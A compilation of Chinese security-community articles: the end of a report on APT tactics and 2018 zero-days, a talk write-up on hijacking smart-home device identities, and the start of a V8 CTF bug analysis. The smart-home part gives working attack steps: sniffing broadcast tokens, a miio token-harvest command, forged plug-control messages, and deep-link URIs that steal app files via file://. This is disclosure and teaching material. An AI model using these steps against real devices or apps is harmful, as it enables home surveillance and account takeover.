表10 部分APT组织初始植入载荷形态和利用技术
### 三、 载荷执行和持久化
APT组织针对目标的主体攻击载荷植入和执行主要分成两个阶段，第一阶段植入的攻击载荷主要用于收集信息，包括主机信息，文档资料等。
攻击组织结合收集的信息确定高价值目标，选择性的植入第二阶段载荷执行更加隐匿和持久性的监控活动。
我们总结了APT组织常见的攻击载荷实现方式并进行横向对比。
| C/C++ | .Net | PowerShell | AutoIt | Delphi | Cobalt Strike | 开源攻击代码
---|---|---|---|---|---|---|---
海莲花 | √ | | √ | | | √ | √
摩诃草 | √ | √ | √ | √ | | |
Darkhotel | √ | √ | √ | | | |
APT-C-01 | √ | | √ | | | |
Group 123 | √ | | √ | | | |
APT28 | √ | | | √ | √ | | √
表11 部分APT组织的攻击载荷实现方式
面对攻击目标主机的一些安全防御机制，以及达到更加隐匿植入和持久化控制的目的，攻击者会主要利用以下的一些攻击技术。
| 白利用 | DLL劫持 | UAC绕过 | 图片隐写 | PE反射加载 | 任务计划 | CLSID注册表修改
---|---|---|---|---|---|---|---
海莲花 | √ | √ | √ | | | | √
摩诃草 | | | | | √ | √ |
Darkhotel | √ | √ | √ | √ | | |
Group 123 | | | | √ | | |
APT28 | | | | √ | | |
表12 部分APT组织的攻击技术对比
### 四、 回传和命令控制
APT攻击行动的目的除了对目标主机和内网进行长期的攻击渗透外，还包括对目标网络的持久化控制与监控，以及收集目标网络中的情报信息。为了避免被轻易追溯，通常会实现更加隐匿的控制回传网络。在过去，威胁分析人员会根据控制域名的注册信息将攻击活动进行关联，然而随着域名隐私保护以及一些数据保护政策导致这种方式的效果大打折扣。部分APT组织也会使用动态域名，云服务等作为其惯用的攻击手法。
| 域名注册 | 动态域名 | 云存储服务 | DGA | DNS隧道 | 失陷网站
---|---|---|---|---|---|---
海莲花 | √ | | | | √ |
摩诃草 | √ | | | | |
Darkhotel | √ | | | | |
APT-C-01 | | √ | | | |
Group 123 | | | √ | | | √
APT28 | √ | | | | | √
表13 部分APT组织C&C服务器实现方法分析
## 第四章 面向新的威胁场景和趋势
随着近年来APT威胁的攻防技术对抗升级，APT组织也在不断演进其攻击的战术思路和技术手段，在近年来的APT攻击活动中，也出现了一些新的威胁场景和趋势，下面总结了一些威胁趋势的观点。
### 一、 APT组织的0day漏洞利用能力日益提升
在过去的APT攻击中，漏洞的利用通常伴随着大部分的攻击行动，其中利用文档和Flash类漏洞结合鱼叉攻击为APT攻击中主流的攻击入口。360威胁情报中心在上半年也总结了“近年来APT组织使用的10大（类）安全漏洞”一文[1]。
特别的，在APT攻击中，0day漏洞的发现和利用能力通常可以用于评估APT组织的技术能力。例如，在被泄露的方程式组织相关资料中，就可以看到该组织储备了大量的针对多平台的0day漏洞利用技术。
下表给出了2018年上半年，国内外多家安全厂商发现和披露的与APT相关的0day漏洞利用情况。有趣的是，其中一些0day漏洞在被用于实际攻击之前，就被意外泄露了。
漏洞编号 | 漏洞类型 | 0day漏洞 | 攻击前意外泄露
---|---|---|---
CVE-2018-0802 | Office文档漏洞 | √ |
CVE-2018-4990 | PDF文档漏洞 | | √
CVE-2018-8120 | Windows提权漏洞 | | √
CVE-2018-4878 | Flash漏洞 | √ |
CVE-2018-8174 | 浏览器漏洞 | √ |
CVE-2018-5002 | Flash漏洞 | √ |
表14 2018上半年APT组织使用的0day漏洞
2018年4月18日，360高级威胁应对团队监控发现到高危0day漏洞。该漏洞影响最新版本的IE浏览器及使用IE内核的应用程序，且已被发现用于有蓄谋有计划的APT攻击。当天，360核心安全事业部高级威胁应对团队立即与微软积极沟通，将漏洞细节信息提交到微软。微软在4月20日早上确认此漏洞，并于5月8号发布了官方安全补丁，对该0day漏洞进行了修复，将其命名为CVE-2018-8174。
另外，360高级威胁应对团队还首次在野外捕获了CVE-2018-0802 Office 0day被用于执行APT攻击，软件厂商得到了第一时间的通知并确认。
CVE-2018-8174是 Windows VBScript Engine
代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞，攻击者可以将恶意的VBScript嵌入到Office文件或者网站中，一旦用户不小心点击，远程攻击者可以获取当前用户权限执行脚本中的恶意代码。
时间 | 进程
---|---
2018年4月18日 | 360核心安全事业部高级威胁应对团队发现高危漏洞
2018年4月19日 | 360核心安全事业部高级威胁应对团队将漏洞的详细信息提交至微软
2018年4月20日早晨 | 微软官方确认漏洞
2018年5月9日凌晨 | 微软发布新一轮安全更新，修复漏洞，并公开致谢360
2018年5月9日 | 360核心安全事业部高级威胁应对团队发布详细版报告披露漏洞细节
表15 CVE-2018-8174的发现到修复的历程
此次捕获到的APT攻击相关的诱饵文档为犹太小语种的意第绪语内容，文档通过CVE-2017-0199的OLE
autolink漏洞利用方式嵌入恶意网页，所有的漏洞利用代码和恶意荷载都通过远程的服务器加载。
中招用户点击打开诱饵文档后，首先Word进程将访问远程的IE vbscript
0day（CVE-2018-8174）网页，漏洞触发后将执行Shellcode，然后再发起多个请求从远程的服务器获取payload数据解密执行。
Payload在执行的过程中Word进程会在本地释放3个DLL后门程序，通过Powershell命令和Rundll32命令分别执行安装后门程序，后门的执行过程使用了公开的UAC绕过技术，并利用了文件隐写技术和内存反射加载的方式来避免流量监测和实现无文件落地加载。
利用CVE-2018-8174漏洞进行攻击的主要过程如下图所示：
### 二、 开源工具和自动化攻击框架提高了APT攻击效率
近年来，随着PowerShell实现的自动化攻击框架和攻击利用代码越来越成熟，APT组织频繁使用PowerShell作为初始植入和攻击载荷的实现，并利用混淆技术对抗分析检测。
APT组织更多利用一些开源攻击代码和工具一定程度降低了攻击实现的成本，并且更加灵活。例如海莲花使用Cobalt
Strike生成的Shellcode和beacon模块，APT28使用开源渗透工具Koadic[10]等。
除此以外，攻击组织开始更多利用“living off the land”技术来减少自身研制的攻击载荷投放到目标主机或网络中。
### 三、 攻击者加强对自身攻击手法特点的掩盖和迷惑性
APT攻击组织更加注重对自身攻击手法特征的掩盖，以及使用一些手段来迷惑威胁分析人员。在2018年攻击韩国平昌冬奥会的攻击事件中，多家安全厂商对其攻击来源给出来不同的猜测和推断[4]。
以下总结了攻击者常用的一些掩盖和迷惑方式。
> 1） 在攻击载荷中引入false flag，例如引入其他组织常用的语言和地域特征；
>
> 2） 模仿其他组织的攻击载荷实现细节，例如动态获取模块和函数地址的方式，加密解密函数等；
>
> 3） 利用开源攻击代码和本地命令，减少攻击组织自行研制的载荷投放，避免通过载荷的相似性实现背景的研判；
>
> 4） 减少与历史攻击使用的控制基础设施信息的重叠，频繁更换控制域名或使用动态域名或云服务等；
### 四、 移动设备和路由器攻击是不可忽视的APT场景
针对高价值目标人员的移动终端的定向攻击活动在近几年也频繁被披露，该类攻击活动在中东地区尤为活跃，主要用于收集目标人员信息和监控的目的，例如上半年披露的Dark
Caracal[24]和ZooPark[25]相关攻击行动，攻击者往往通过频繁更新其木马应用程序以达到绕过应用市场监测和持续性监控目标人员的目的，所以往往该类定向攻击也满足长期持久性的攻击特点。
而针对路由器的攻击也逐渐成为APT攻击组织新的威胁场景[26]，例如Slingshot[17]和VPNFilter事件[7]。
2018年7月，360烽火实验室在监测黄金鼠组织（APT-C-27）的攻击活动过程中，发现其新版本的移动端手机攻击样本首次具备了针对PC的RAT诱导跨越攻击[28]，开启了移动端手机跨越攻击的“潘多拉魔盒”。
新版本的移动端手机攻击样本除了保留原版的移动端RAT功能之外，还新增移动存储介质诱导攻击方式，首次实现了从移动端到PC端的攻击跨越，其攻击细节如下：
> 第一步：移动端攻击样本携带针对PC的PE格式RAT攻击文件“hmzvbs”。
>
>
> 第二步：移动端手机攻击样本运行后，立即把该针对PC的RAT攻击文件“hmzvbs”，释放到指定好的移动端外置存储设备中的图片目录下进行特殊名称的伪装。这个伪装实现了跨越攻击前的特殊准备，该伪装具有两个特点：攻击文件名称伪装成常见的图片相关目录名；攻击文件的扩展名为“.PIF”(该扩展名代表MS-> DOS程序的快捷方式，意味着在PC上可直接运行)。
>
>
> 第三步：借助用户会不定期使用PC来浏览移动端手机里照片的一种习惯，当受到移动端攻击的目标，使用PC浏览移动端手机里的照片，一旦被诱导触发到伪装后的“图片目录”
> (该伪装对于普通用户较难识别发现)，即运行起该PE RAT攻击文件，从而使PC遭受RAT攻击。
## 总结
360威胁情报中心结合近半年的公开APT情报和内部威胁情报数据，总结了当前主要活跃的APT组织现状和使用的攻击战术技术特点。我们认为攻击者正在不断演变其攻击手法和攻击工具，以更有效的达到攻击的目的和效果，并加强对自身活动的隐藏。在这种对抗升级的趋势下，纯粹基于恶意载荷的相似程度来评判其攻击来源已经变得不是那样可靠，结合更多维度的威胁情报数据，评估攻击者的真实攻击意图和动机，以及对攻击TTP的分析能够更好的提高背景研判的准确程度。
我们也总结了部分常用的攻击方式和技术手段，并对APT威胁的趋势提出了一些观点和看法，期望能对当前业内针对高级威胁防御策略和威胁发现有所帮助。
## 附录 参考链接
1\. <https://ti.360.net/blog/>
2\. <https://www.symantec.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies>
3.[ https://www.akamai.com/us/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf](https://www.akamai.com/us/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf)
4\. <https://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html>
5\. <https://www.recordedfuture.com/iran-hacker-hierarchy/>
6\. <https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html>
7\. <https://blog.talosintelligence.com/2018/05/VPNFilter.html>
8\. <https://apnews.com/4d174e45ef5843a0ba82e804f080988f>
9\. <https://asert.arbornetworks.com/lojack-becomes-a-double-agent/>
10\. <https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/>
11\. <https://securelist.com/masha-and-these-bears/84311/>
12\. <https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/>
13\. <https://www.bleepingcomputer.com/news/security/activex-zero-day-discovered-in-recent-north-korean-hacks/>
14\. <https://www.dragos.com/blog/20180531Covellite.html>
15\. <https://www.fireeye.com/blog/threat-research/2018/02/apt37-overlooked-north-korean-actor.html>
16\. <https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html>
17\. <https://securelist.com/apt-slingshot/84312/>
18\. <https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/>
19\. <https://blog.trendmicro.com/trendlabs-security-intelligence/deciphering-confucius-cyberespionage-operations/>
20\. <https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/>
21\. <https://asert.arbornetworks.com/donot-team-leverages-new-modular-malware-framework-south-asia/>
22\. <https://blog.trendmicro.com/trendlabs-security-intelligence/confucius-update-new-tools-and-techniques-further-connections-with-patchwork/>
23\. <https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/>
24\. <https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf>
25\. <https://securelist.com/whos-who-in-the-zoo/85394/>
26\. <https://www.bleepingcomputer.com/news/security/cyber-espionage-groups-are-increasingly-leveraging-routers-in-their-attacks/>
27\. <https://ti.360.net/blog/articles/analysis-of-apt-c-27/>
28\.
[http://zt.360.cn/1101061855.php?dtid=1101061451&did=210702435](http://zt.360.cn/1101061855.php?dtid=1101061451&did=210702435)
29\.
[http://zt.360.cn/1101061855.php?dtid=1101062370&did=210645168](http://zt.360.cn/1101061855.php?dtid=1101062370&did=210645168) | 社区文章 |
# KCon议题解读 | 智能家居安全——身份劫持
##### 译文声明
本文是翻译文章，文章原作者 EnsecTeam，文章来源：先知论坛
原文地址：<https://xz.aliyun.com/t/2664>
译文仅供参考，具体内容表达以及含义原文为准。
> 欢迎关注我们的微信公众号：[EnsecTeam](http://t.cn/RFUzQuQ "EnsecTeam")
>
> 作者：挽秋
## 一、摘要
本文以如何劫持(窃取)智能家居时代设备的身份“安全凭证”为出发点，调研并分析了目前国内市场的主流产品和设备交互协议，及其所依赖身份凭证，通过介绍、分析和发现设备交互控制协议安全性，最终通过身份劫持，实现相关设备和产品的任意远程控制。
## 二、智能家居身份和劫持危害
先通过一张简图来了解一下应用、智能设备和云端三者交互时携带的身份标识，如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202219-2c9e71b6-ab86-1.png)
从上图了解到，智能家居身份标识通常是以下几种情况：
* 账号cookie相关，如身份Token；
* 用户id：userid
* 设备id：deviceid
* 认证或加密的key
一旦用户或设备的身份被劫持，那么至少存在如下几方面危害：
* 个人信息，聊天内容等隐私敏感信息泄露
* 智能设备被任意控制
* 财产损失
* 随时被监控
以智能音箱和智能插座等设备为例，至少有两个环节设计“身份”相关：
* 账号同步
* 设备交互操作
下面将分别介绍如何在这两个环节进行身份劫持。
## 三、账号同步
账号同步是指，在智能设备在初次激活使用(或更改绑定用户时)，用户将自己的身份信息同步给设备，并绑定设备。
一个简化的账号同步流程，如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202219-2cb31e86-ab86-1.png)
账号同步通常会存在如下两类问题：
* 如何设备是否合法：验证设备id还是设备key？id和key都很容易泄露伪造。
* 账号Token如何安全传输：设备此时为入网，通过蓝牙、AP，还是其他何种方式传输账号信息。
账号同步时身份劫持,以厂商A音箱的配网和身份账号同步为例，其账号同步分为两种方式：
1. 直接通过UDP广播255.255.255.255:50000,发送userid、token和wifi的ssid和wifi密码。
2. 将userid、token、ssid和wifi密码等转化成语音播放，音箱进行语音信息识别即可。
关于两种模式的选择：由本地sharedPreferences文件(tg_app_env.xml)中的app_connect_mode属性值决定，其账号同步代码如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202219-2cc6a83e-ab86-1.png)
厂商A的音箱将身份信息，通过固定“协议”的格式，在UDP255.255.255.255:50000端口进行身份信息发送，攻击者可以监听UDP50000端口，从而获取用户的userid和token，窃取身份凭据；语音发送也是按照同一套固定的“协议”格式发送。协议格式通过破解后如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202220-2cf40a86-ab86-1.png)
## 四、设备交互
设备交互是指应用、设备和云端的三者交互访问；交互操作大体分为两种方式：
1. 只支持广域网：厂商A为代表；
2. 支持广域网和局域网：厂商B和C为代表。
广域网交互中应用与设备交互、设备与设备的交互方式如图：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202220-2d09f3a0-ab86-1.png)
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202220-2d234670-ab86-1.png)
厂商A的智能家居接入方式：以开灯为例
### 第一步：厂商A的音箱–>音箱server
url：[https://***.com/***](https://%2A%2A%2A.com/***)
Payload: { Uderid, Deviceid, Accesstoken, 打开灯的语音}
### 第二步：厂商A的音箱sever–>第三方server
用户需要在第三方产品server注册并通过Oauth授权给厂商A的Server，消息格式如下：
｛
"header":{
“namespace”:”***Genie.Iot.Device.Control",
"name":"TurnOn",
"messageId":"1bd5d003-31b9-476f-ad03-71d471922820",
"payLoadVersion":1
},
"payload":{
"accessToken":"access token",
"deviceId":"34234",
"deviceType":"XXX",
"attribute":"powerstate",
"value":"on",
"extensions":{
"extension1":"",
"extension2":""
}
}
｝
### 第三步：第三方server–>设备
Payload：{command: turn-on, currentValue:0 }
厂商A音箱的身份劫持
厂商A的音箱每次交互时，都会携带: token、userid、deviceid、action来进行，并且server会依据userid来进行身份判断。
* 有了userid就可以身份劫持——远程设备任意操作；
* userId是顺序的，可遍历的9位数字：比如一个userid是50123，另一个userid则是50397这几位数字;
* userid还有其他多种方式获得：配网时窃取、APP端上获取；
厂商A音箱被劫持后，可以用户查看聊天记录，自定义问答，设置闹钟、话费充值、智能家居控制等等，此外音箱
“被分享”之后，宿主不能主动取消分享，只能等“攻击者”取消分享，身份劫持危害如图所示，中间的攻击者可以任意查看用户的聊天记录：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202221-2d657536-ab86-1.png)
### 如何发现这类身份劫持？
应用或设备通过携带4元组信息：userid、deviceid、token和action，向云端进行请求时，如下图所示，如果云端对4元组信息校验出现不一致的情况下，就会导致身份劫持：
* 把userid、deviceid、token三者信息中的一种直接当成用户身份，而不是进行严格的身份一致性判断：判断userid和token是否一致，用户身份和设备列表是否是绑定关系。
* 用户身份和action判断，存在逻辑漏洞，导致攻击者可以进行操作提权，比如子设备提权可以操作“属主”身份的一些权限，OTA更新等等。
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202221-2d7ed10c-ab86-1.png)
局域网交互中应用与设备交互、设备与设备的交互方式如下图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202221-2d91ef6c-ab86-1.png)
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202221-2da82fa2-ab86-1.png)
### 厂商B的设备局域网身份劫持
在同一局域网下，厂商B设备通过专有的加密UDP网络协议——miio协议，进行通信控制。
* 通过广播发送一个握手协议包，如果设备支持miio协议，那么设备就会回复自身信息：token、ip和ID。
* 向指定设备发送一串hello bytes获得设备信息结构体”header”
* 凭借token、ID等信息构造信息结构体”header”，跟随控制消息发送给设备，实现设备控制。
厂商B的设备局域网身份劫持交互如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202221-2db8b106-ab86-1.png)
第一步：安装python-miio库，然后执行：mirobo discover –handshake 1，获取设备IP、ID和Token信息。
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202221-2dcd929c-ab86-1.png)
第二步：发送hello bytes消息给设备54321端口，获取设备消息结构体Header：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202221-2de90338-ab86-1.png)
第三步：伪造控制消息结构体Header、消息指令cmd和checksum(Token)，给设备发送；
typedef struct{
Header,
cmd,
checksum
}Msg
控制消息结构体如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202222-2dfece98-ab86-1.png)
以打开智能插座为例：cmd={‘id’:1,’method’:’set_power’,’params’:[‘on’]}
### 厂商C的局域网交互控制
厂商C为了实现智能家居生态，主推一套实现产品智能化互联互通的协议——“***Link”，目前所有的产品都可以与APP，以及音箱进行交互控制，是一套“带认证的密钥协商+对称密钥加密”的设备操作和交互控制协议。
再介绍和认识“带认证的密钥协商”之前，我们先介绍一下ECDH密钥协商及其存在的安全问题。
有两个用户Bob和Alice，使用ECDH密钥协商，交互过程如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202222-2e1311f0-ab86-1.png)
但是ECDH密钥协商是无法防御中间人攻击的，假设在Bob和Alice存在一个攻击者——Attack，对Bob和Alice进行中间人攻击，ECDH协商流程如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202222-2e302c54-ab86-1.png)
为了防御中间人攻击，需要在ECDH密钥协商过程中加入“一套身份认证机制”——EccSignKey和EccVerifyKey，EccVerifyKey提前存储在需要协商密钥的用户设备上，整个“待认证的ECDH密钥协商”交互过程如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202222-2e49b048-ab86-1.png)
设备和厂商C的应用(或音箱)基于***Link协议来进行交互，第三方设备制造商首先在云端通过ECC算法一对生成公私钥：Ecc-sPrivateKey/Ecc-sPubkey，其中公钥Ecc-sPubkey内置在设备端，用于发送随机数到云端，进行设备的身份认证，设备认证合法后，云端下发设备后续通信加密的key：accessKey，然后应用使用ECDH密钥协商算法协商出的密钥，通过AES-CBC模式加密传输accessKey；此外设备和应用进行局域网通信时，都是通过localkey进行加解密来进行的，其中localkey就是accessKey。设备和厂商C的应用局域网交互流程如图所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202222-2e647f54-ab86-1.png)
### 厂商C的设备局域网身份劫持
厂商C的***Link协议的交互控制的消息结构体如下所示：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202222-2e75dbaa-ab86-1.png)
以打开智能插座为例：
Packet_t=协议包头，opt=null，Payload=LocalKey 密钥加密
Time[时间戳] //4字节int类型时间戳，小端在前
{
“cmd”:5,
"data":{
"streams":[{"current_value":"0","stream_id":"power"}],
"snapshot":[{"current_value":"1","stream_id":"power"}]
}
设备交互方式总结和比较
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202223-2e982656-ab86-1.png)
## 五、通过应用实现身份劫持
通过应用实现身份劫持，常用的方法有如下两种：
### 1）通过webview JS交互接口远程命令执行或泄露身份账号
应用APP通过为webview
@JavascriptInterface关键字，自定义添加身份获取的函数，并且没对加载url做好限制，导致身份信息远程泄露或者远程命令执行
### 2）Webview file域远程信息泄露
应用开启WebSettings.setAllowUniversalAccessFromFileURLs(true)，并且webview对加载的url没有任何限制，则应用APP下所有私有目录信息都会被窃取
### 通过webview JS交互接口远程命令执行或泄露身份账号
应用扫一扫时(CaptureActivity),当CaptureActivity扫描到是“合法”url时，会调用com.***.WebViewActivity进行url加载，但是url判断逻辑存在漏洞，导致攻击者可以调用WebViewActivity定义的交互接口，远程获取用户账号等敏感身份信息，漏洞执行效果如下图所示。
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202223-2eca7fd4-ab86-1.png)
漏洞案列简化：
if(loadurl.contains(“***”)){
//合法
} else{
//不合法
}
### Webview file域远程信息泄露
厂商A的音箱控制APP中WVWebViewActivity对外导出，并接收如下远程uri
scheme：<assistant://hsendPoc5>_web_view?direct_address=url。
[](https://xzfile.aliyuncs.com/media/upload/picture/20180829202223-2ede205c-ab86-1.png)
WVWebViewActivity接受外部的url会传入Fragment中的webview中进行加载，并且WVWebViewActivity中对webview进行了设置，开启了JS和file文件访问能力，并设置了WebSettings.setAllowUniversalAccessFromFileURLs(true)。
攻击者可以将assistant伪协议中的url先通过url加载任意html，然后下载恶意html文件到本地，然后webview跳转加载本地的恶意html文件，窃取用户私有目录内的身份信息。
<assistant://hsendPoc5>_web_view?direct_address=[http://www.test.com](http://www.test.com/)
<assistant://hsendPoc5>_web_view?direct_address=file:////*.html
## 六、智能家居身份劫持漏洞总结
### 1.配网泄露
### 2.设备交互控制时，劫持
1）app/设备->server：厂商A为代表，userid为身份凭证，可劫持；
2）局域网控制：
* 厂商B的局域网控制基于miio协议：token泄露，可劫持
* 厂商C的微联局域网控制：带认证的密钥协商+对称密钥加密(localkey),协议安全；
### 3.app应用存在身份穿越漏洞
* Webview JS交互接口远程命令执行或远程信息泄露
* Webview File域远程信息克隆
## 七、参考文献
* <https://github.com/WeMobileDev/article/blob/master/%E5%9F%BA%E4%BA%8ETLS1.3%E7%9A%84%E5%BE%AE%E4%BF%A1%E5%AE%89%E5%85%A8%E9%80%9A%E4%BF%A1%E5%8D%8F%E8%AE%AEmmtls%E4%BB%8B%E7%BB%8D.md>
* <https://github.com/rytilahti/python-miio>
* <https://paper.seebug.org/616/> | 社区文章 |
# qwb growupjs & wctf independence_day writeup
## qwb growupjs
### 漏洞分析
diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
- return ReplaceBool(m.left().Value() < m.right().Value());
+ return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
patch如上，实际上是在MachineOperatorReducer的这个case中
case IrOpcode::kUint32LessThan: {
Uint32BinopMatcher m(node);
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
return ReplaceBool(m.left().Value() < m.right().Value()+1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
Int32BinopMatcher mleft(m.left().node());
if (mleft.right().HasValue()) {
// (x >> K) < C => x < (C << K)
// when C < (M >> K)
const uint32_t c = m.right().Value();
const uint32_t k = mleft.right().Value() & 0x1F;
if (c < static_cast<uint32_t>(kMaxInt >> k)) {
node->ReplaceInput(0, mleft.left().node());
node->ReplaceInput(1, Uint32Constant(c << k));
return Changed(node);
}
// TODO(turbofan): else the comparison is always true.
}
}
break;
}
首先这个patch很简单，就是本来如果是1<1这样的kUint32LessThan比较，应该替换成false节点，而这里变成1<2（`m.right().Value()+1)`），于是就替换成了true节点。
这个bug非常明显，但是如何利用呢？实际上对array边界的检查可以lower到Uint32LessThan节点，所以这实际上可以转化成一个array的off-by-one漏洞。
然后后续利用和[*ctf 2019
OOB](http://eternalsakura13.com/2019/04/29/*ctf_oob/)中使用的方法一致。
### IR分析
我做了几组case，先看一个比较简单的case
#### case 1
function main() {
let arr = [1.1, 2.2, 3.3, 4.4];
let idx = 3;
return arr[idx];
}
for (i = 0; i < 10000; i++){
main();
}
typer phase
在取arr[idx]之前会进行CheckBounds，然后在Simplified lower之后
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
CheckBoundsParameters::Mode mode =
CheckBoundsParameters::kDeoptOnOutOfBounds;
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
mode = CheckBoundsParameters::kAbortOnOutOfBounds;
}
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
}
然后在Effect linearization中被Lower成Uint32LessThan。
Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
Node* frame_state) {
Node* index = node->InputAt(0);
Node* limit = node->InputAt(1);
const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());
Node* check = __ Uint32LessThan(index, limit);
switch (params.mode()) {
case CheckBoundsParameters::kDeoptOnOutOfBounds:
__ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
params.check_parameters().feedback(), check,
frame_state, IsSafetyCheck::kCriticalSafetyCheck);
break;
case CheckBoundsParameters::kAbortOnOutOfBounds: {
auto if_abort = __ MakeDeferredLabel();
auto done = __ MakeLabel();
__ Branch(check, &done, &if_abort);
__ Bind(&if_abort);
__ Unreachable();
__ Goto(&done);
__ Bind(&done);
break;
}
}
return index;
}
#### case 2
那么是不是把idx直接改成4，就可以越界读写一个element呢？
事实上没那么简单，它们生成的IR完全不一样。
function main() {
let arr = [1.1, 2.2, 3.3, 4.4];
let idx = 4;
return arr[idx];
}
for (i = 0; i < 10000; i++){
main();
}
typer phase
我们得到的IR是这样的。
代码在`JSNativeContextSpecialization::BuildElementAccess`里
首先判断是否是`load_mode=LOAD_IGNORE_OUT_OF_BOUNDS`
比较简单的一种情况就是array的index超出了array的length。
这样我们需要对index进行check，看是否超出了Smi::kMaxValue，引入了上面的CheckBounds节点。
// Check if we might need to grow the {elements} backing store.
if (keyed_mode.IsStore() && IsGrowStoreMode(keyed_mode.store_mode())) {
// For growing stores we validate the {index} below.
} else if (keyed_mode.IsLoad() &&
keyed_mode.load_mode() == LOAD_IGNORE_OUT_OF_BOUNDS &&
CanTreatHoleAsUndefined(receiver_maps)) {
// Check that the {index} is a valid array index, we do the actual
// bounds check below and just skip the store below if it's out of
// bounds for the {receiver}.
index = effect = graph()->NewNode(
simplified()->CheckBounds(VectorSlotPair()), index,
jsgraph()->Constant(Smi::kMaxValue), effect, control);
} else {
// Check that the {index} is in the valid range for the {receiver}.
index = effect =
graph()->NewNode(simplified()->CheckBounds(VectorSlotPair()), index,
length, effect, control);
}
然后还需要对index进行实际的check，也就是比较index是否小于array length，引入了一个NumberLessThan节点。
// Check if we can return undefined for out-of-bounds loads.
if (keyed_mode.load_mode() == LOAD_IGNORE_OUT_OF_BOUNDS &&
CanTreatHoleAsUndefined(receiver_maps)) {
Node* check =
graph()->NewNode(simplified()->NumberLessThan(), index, length);
Node* branch = graph()->NewNode(
common()->Branch(BranchHint::kTrue,
IsSafetyCheck::kCriticalSafetyCheck),
check, control);
Node* if_true = graph()->NewNode(common()->IfTrue(), branch);
Node* etrue = effect;
Node* vtrue;
{
// Perform the actual load
vtrue = etrue =
graph()->NewNode(simplified()->LoadElement(element_access),
elements, index, etrue, if_true);
然后这个节点在LoadElimination进行TyperNarrowingReducer的时候。
switch (node->opcode()) {
case IrOpcode::kNumberLessThan: {
// TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
// comparisons with the operation typer).
Type left_type = NodeProperties::GetType(node->InputAt(0));
Type right_type = NodeProperties::GetType(node->InputAt(1));
if (left_type.Is(Type::PlainNumber()) &&
right_type.Is(Type::PlainNumber())) {
if (left_type.Max() < right_type.Min()) {
new_type = op_typer_.singleton_true();
} else if (left_type.Min() >= right_type.Max()) {
new_type = op_typer_.singleton_false();
}
}
break;
}
由于left_type即index的type信息被分析为(4,4)，right_type即array length的type信息被分析为（4,4)
满足`else if (left_type.Min() >= right_type.Max())`
所以kNumberLessThan的类型会被更新成false，然后在ConstantFoldingReducer时候
Reduction ConstantFoldingReducer::Reduce(Node* node) {
